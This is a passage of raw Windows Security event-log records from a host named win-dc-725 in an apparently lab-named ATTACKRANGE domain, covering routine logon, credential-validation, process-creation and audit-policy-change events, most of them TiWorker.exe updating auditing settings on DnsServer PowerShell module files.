Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247036 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247042 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0xa40 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247043 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x488 - New Process Name: C:\Windows\Temp\460C0C36-5FE9-4E5E-8DE7-28EF0BB9CE0D\DismHost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd24 - Creator Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Process Command Line: C:\Windows\TEMP\460C0C36-5FE9-4E5E-8DE7-28EF0BB9CE0D\dismhost.exe {DB060743-CA51-421C-869D-B12D31D52BA9} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247048 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xFA91B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247047 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xFA91B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247046 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247045 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247044 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xE1A07 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247208 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneUnsign_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247207 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneTransferPolicy_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247206 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneTransfer_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247205 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneSign_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247204 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneScope_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247203 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneKeyMasterRole_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247202 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneDelegation_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247201 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZoneAging_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247200 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerZone_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247199 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerVirtualizationInstance_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247198 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerTrustPoint_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247197 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerTrustAnchor_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247196 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerStubZone_v1.0.0.cdxml - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247195 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerStatistics_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247194 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSigningKeyRollover_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247193 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSigningKey_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247192 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSetting_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247191 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSecondaryZone_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247190 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerScavenging_v1.0.0.cdxml - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247189 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRootHint_v1.0.0.cdxml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247188 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResponseRateLimitingExceptionlist_v1.0.0.cdxml - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247187 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResponseRateLimiting_v1.0.0.cdxml - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247186 